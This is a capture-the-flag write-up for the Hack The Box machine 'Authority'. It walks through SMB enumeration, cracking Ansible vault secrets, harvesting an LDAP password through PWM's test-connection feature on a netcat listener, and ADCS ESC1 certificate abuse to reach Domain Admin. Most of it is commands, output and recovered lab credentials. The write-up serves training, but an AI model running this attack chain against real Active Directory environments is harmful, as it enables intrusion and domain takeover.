Description

Authority is a medium Hack The Box machine that features:

  • PWM user credentials recovery via the decryption of Ansible playbooks
  • LDAP user password recovery by testing a connection using PWM application to our own server
  • Privilege Escalation via ADCS ESC1 template vulnerability and LDAP shell commands

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.222.

$ ping -c 3 10.10.11.222
PING 10.10.11.222 (10.10.11.222) 56(84) bytes of data.
64 bytes from 10.10.11.222: icmp_seq=1 ttl=127 time=98.7 ms
64 bytes from 10.10.11.222: icmp_seq=2 ttl=127 time=80.6 ms
64 bytes from 10.10.11.222: icmp_seq=3 ttl=127 time=101 ms

--- 10.10.11.222 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 80.636/93.470/101.030/9.123 ms

The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.10.11.222 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.222
Host is up (0.043s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
8443/tcp open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 227.64 seconds

We get many open ports, related to a Domain Controller Active Directory.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.10.11.222 -Pn -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.222
Host is up (0.043s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8443/tcp open  ssl/http      Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.31 seconds

We get the services related to an Active Directory, specifically the Domain Controller authority.htb. We add the host to our /etc/hosts local file.

$ echo "10.10.11.222 authority.htb" | sudo tee -a /etc/hosts

In the 8443 port we find the PWM web application. It requires credentials for the login, but we find we are in configuration mode. We do not have credentials. This application is using to interact with the passwords of the domain using LDAP. We are able of enumerating the SMB shares with the Guest account. We find two non-standard: Department Shares and Development.

$ netexec smb authority.htb -u 'Guest' -p '' --shares
SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.222    445    AUTHORITY        [+] authority.htb\Guest: 
SMB         10.10.11.222    445    AUTHORITY        [*] Enumerated shares
SMB         10.10.11.222    445    AUTHORITY        Share           Permissions     Remark
SMB         10.10.11.222    445    AUTHORITY        -----           -----------     ------
SMB         10.10.11.222    445    AUTHORITY        ADMIN$                          Remote Admin
SMB         10.10.11.222    445    AUTHORITY        C$                              Default share
SMB         10.10.11.222    445    AUTHORITY        Department Shares                 
SMB         10.10.11.222    445    AUTHORITY        Development     READ            
SMB         10.10.11.222    445    AUTHORITY        IPC$            READ            Remote IPC
SMB         10.10.11.222    445    AUTHORITY        NETLOGON                        Logon server share 
SMB         10.10.11.222    445    AUTHORITY        SYSVOL                          Logon server share

We cannot access to Department Shares:

$ smbclient '//authority.htb/Department Shares' -U 'Guest%'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

For the Development share, we can mount it and list it.

$ smbclient '//authority.htb/Development' -U 'Guest%'      
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Mar 17 14:20:38 2023
  ..                                  D        0  Fri Mar 17 14:20:38 2023
  Automation                          D        0  Fri Mar 17 14:20:40 2023

                5888511 blocks of size 4096. 1353593 blocks available
$ mkdir mount
$ sudo mount -t cifs -o "username=Guest,password=" '//authority.htb/Development' ./mount
$ find mount       
mount
mount/Automation
mount/Automation/Ansible
mount/Automation/Ansible/ADCS
mount/Automation/Ansible/ADCS/.ansible-lint
mount/Automation/Ansible/ADCS/.yamllint
mount/Automation/Ansible/ADCS/defaults
mount/Automation/Ansible/ADCS/defaults/main.yml
mount/Automation/Ansible/ADCS/LICENSE
mount/Automation/Ansible/ADCS/meta
mount/Automation/Ansible/ADCS/meta/main.yml
...

We find Ansible files for ADCS (Active Directory Certificate Services), LDAP (Lightweight Directory Access Protocol), PWM (an open source password self-service application for LDAP directories), and SHARE (that could be the opened shares). As we saw that the PWM application is available, let’s check its Ansible configuration files. We find an encrypted password in the Automation/Ansible/PWM/defaults/main.yml file.

$ cat mount/Automation/Ansible/PWM/defaults/main.yml
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256...

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256...

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256...

We need to convert this hashes to a format that John The Ripper understands and then try to crack them. For that we can use ansible2john tool. Each line of the hash must be separated by a new-line character (\n).

$ echo "\$ANSIBLE_VAULT;1.1;AES256\n32666534386435366537653136663731633138616264323230383566333966346662313161326239\n6134353663663462373265633832356663356239383039640a346431373431666433343434366139\n35653634376333666234613466396534343030656165396464323564373334616262613439343033\n6334326263326364380a653034313733326639323433626130343834663538326439636232306531\n3438" > ansible_hash1

$ echo "\$ANSIBLE_VAULT;1.1;AES256\n31356338343963323063373435363261323563393235633365356134616261666433393263373736\n3335616263326464633832376261306131303337653964350a363663623132353136346631396662\n38656432323830393339336231373637303535613636646561653637386634613862316638353530\n3930356637306461350a316466663037303037653761323565343338653934646533663365363035\n6531" > ansible_hash2

$ echo "\$ANSIBLE_VAULT;1.1;AES256\n63303831303534303266356462373731393561313363313038376166336536666232626461653630\n3437333035366235613437373733316635313530326639330a643034623530623439616136363563\n34646237336164356438383034623462323531316333623135383134656263663266653938333334\n3238343230333633350a646664396565633037333431626163306531336336326665316430613566\n3764" > ansible_hash3

$ ansible2john ansible_hash1 ansible_hash2 ansible_hash3 > ansible_hashes

Then we start the password cracking.

$ john --wordlist=/usr/share/wordlists/rockyou.txt ansible_hashes 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&*         (ansible_hash2)     
!@#$%^&*         (ansible_hash1)     
!@#$%^&*         (ansible_hash3)     
3g 0:00:00:20 DONE 0.1497g/s 1993p/s 5981c/s 5981C/s 112500..prospect
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

For the three hashes, the password is !@#$%^&*. Now we can decrypt the three vault with the ansible-vault tool.

$ virtualenv .env
$ . .env/bin/activate
$ pip install ansible-vault
$ echo '!@#$%^&*' > vault_password
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash1
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash2
$ ansible-vault decrypt --vault-password-file=vault_password ansible_hash3
$ cat ansible_hash1                
svc_pwm
$ cat ansible_hash2
pWm_@dm!N_!23
$ cat ansible_hash3
DevT3st@123

We decrypted the fields stored inside the Ansible vault, for pwm_admin_login we find svc_pwm, for pwm_admin_password we find pWm_@dm!N_!23 and for ldap_admin_password we find DevT3st@123.

Exploitation

We can return to the PWM login website and login with the second field, the password, in the Configuration Manager > Configuration Editor. We find a LDAP connection configured in the Default Settings > LDAP Directories > default > Connection menu. We can create a test connection by using the Test LDAP Profile button, but the connection fails. We find that the LDAP Proxy Password is stored, but we cannot read it. We can create a LDAP server, enter our LDAP address in the LDAP URLs field and then capture the LDAP password. As we are going to use the un-encrypted LDAP protocol we can open a listening TCP port, modify the field and trigger the test connection.

$ nc -nvlp 1234

We receive a connection from the svc_ldap and the lDaP_1n_th3_cle4r! password.

$ nc -nvlp 1234                                                                                               
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.222] 61959
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!

As the WinRM port is opened we are going to try to open a shell using evil-winrm tool.

$ evil-winrm -i authority.htb -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'
...
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami
htb\svc_ldap

We are logged as the svc_ldap user.

Post-Exploitation

We saw previously, in the Ansible playbooks, a mention to ADCS. We are going to use Certipy tool to check for vulnerabilities in the certificate templates.

$ certipy-ad find -username svc_ldap@authority.htb -password 'lDaP_1n_th3_cle4r!' -vulnerable -stdout
...
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
    Active Policy                       : Unknown
    Disabled Extensions                 : Unknown
...
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
...
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins

...
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

We find the ESC1 vulnerability in the CorpVPN template. We add the authority.authority.htb host to the /etc/hosts file.

$ echo "10.10.11.222 authority.authority.htb" | sudo tee -a /etc/hosts

ESC1 is the stereotypical AD CS misconfiguration that can lead directly to privilege escalation. The vulnerability arises when a certificate template is inadequately secured, permitting a low-privileged user to request a certificate and, importantly, specify an arbitrary identity within the certificate’s SAN. This allows the attacker to impersonate any user, including administrators.

The LDAP user has no permissions to do this operation, but in the Enrollment Permissions section we find that the Domain Computers has enrollments rights. So we will register a new computer machine in the domain to exploit the vulnerability.

$ impacket-addcomputer 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account DESKTOP-ANHB3HRI$ with password IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1.

We added the DESKTOP-ANHB3HRI$ machine account with the IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1 password. Now we will request a certificate to the domain controller with the SAN field set to the Administrator user.

$ certipy-ad req \
    -u 'DESKTOP-ANHB3HRI$@authority.htb' -p 'IQYx2g4n92nboD8kMMMUo1zsFP0mUMA1' \
    -dc-ip '10.10.11.222' -target 'authority.htb' \
    -ca 'AUTHORITY-CA' -template 'CorpVPN' \
    -upn 'administrator@authority.htb'             
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@authority.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

With the generated certificate, we authenticate as the target administrator.

$ certipy-ad auth -dc-ip '10.10.11.222' -pfx 'administrator.pfx' -username 'administrator' -domain 'authority.htb'                                  130 ↵
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@authority.htb'
[*] Using principal: 'administrator@authority.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

We get the KDC_ERR_PADATA_TYPE_NOSUPP error as the Domain Controller does not support PKINIT. We can instead open a LDAP shell and add svc_ldap user to the Domain Admins group.

$ certipy-ad auth -dc-ip '10.10.11.222' -pfx 'administrator.pfx' -username 'administrator' -domain 'authority.htb' -ldap-shell                        1 ↵
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@authority.htb'
[*] Connecting to 'ldaps://10.10.11.222:636'
[*] Authenticated to '10.10.11.222' as: 'u:HTB\\Administrator'
Type help for list of commands

# add_user_to_group svc_ldap 'Domain Admins'
Adding user: svc_ldap to group Domain Admins result: OK

We can now return to the evil-winrm shell and check if the addition was done correctly.

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> net user svc_ldap
User name                    svc_ldap
...

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Domain Admins

It is done correctly. We have full permissions over the domain, but we should re-login.

Flags

As a domain administrator, we can retrieve the user.txt and root.txtfiles.

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type C:\Users\svc_ldap\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>